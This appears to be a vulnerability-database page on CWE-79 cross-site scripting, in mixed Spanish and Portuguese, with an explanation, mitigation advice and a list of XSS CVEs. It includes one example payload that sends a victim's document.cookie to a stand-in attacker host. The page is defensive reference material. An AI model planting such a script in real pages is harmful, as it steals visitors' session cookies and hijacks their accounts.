Fallos del tipo CWE-79

30.536 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-67552MEDIUMWordPress Walker Core plugin <= 1.3.17 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-62913MEDIUMWordPress Opal Service plugin <= 1.9.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-49908MEDIUMWordPress WPC Countdown Timer for WooCommerce plugin <= 3.1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-64194MEDIUMWordPress Eduma theme <= 5.7.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-58070MEDIUMPleasanter contains a stored cross-site scripting vulnerability in Preview for Attachments, which allows an attacker to execute an arbitraryEPSS 0.2%CVE-2026-111844MEDIUMWordPress Brizy plugin 2.8.23 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-62948MEDIUMWordPress Date counter plugin <= 2.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-67545MEDIUMWordPress FireBox plugin <= 3.1.0-free - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-68915MEDIUMRiello UPS NetMan 208 Application before 1.12 allows cgi-bin/loginbanner_w.cgi XSS via a crafted banner.EPSS 0.2%CVE-2025-54806MEDIUMGROWI v4.2.7 and earlier contains a cross-site scripting vulnerability in the page alert function. If a user accesses a crafted URL while lEPSS 0.2%CVE-2025-62951MEDIUMWordPress H5P plugin <= 1.16.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-51226MEDIUMA stored cross-site scripting (XSS) vulnerability in the component /admin/search-vehicle.php of Phpgurukul Vehicle Record Management System EPSS 0.2%CVE-2025-62917MEDIUMWordPress Tooltipy plugin <= 5.5.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-7437MEDIUMAzonPost <= 1.3 - Reflected Cross-Site ScriptingEPSS 0.2%CVE-2026-28263MEDIUMDell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.5, LTS2025 release verEPSS 0.2%CVE-2026-1450MEDIUMrognone <= 0.6.2 - Reflected Cross-Site Scripting via 'mode' ParameterEPSS 0.2%CVE-2026-41003HIGHUnencoded HTML Outputs in Spring Security May Allow Cross-Site ScriptingEPSS 0.2%CVE-2026-119365MEDIUMWordPress Media Player Addons for Elementor – Media Player widget for WP plugin <= 1.1.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2021-47947MEDIUMProjectsend r1295 Stored Cross-Site Scripting via files-edit.phpEPSS 0.2%CVE-2024-58394MEDIUMRetool < 3.88.0 XSS via /api/imageProxy SVG ProxyingEPSS 0.2%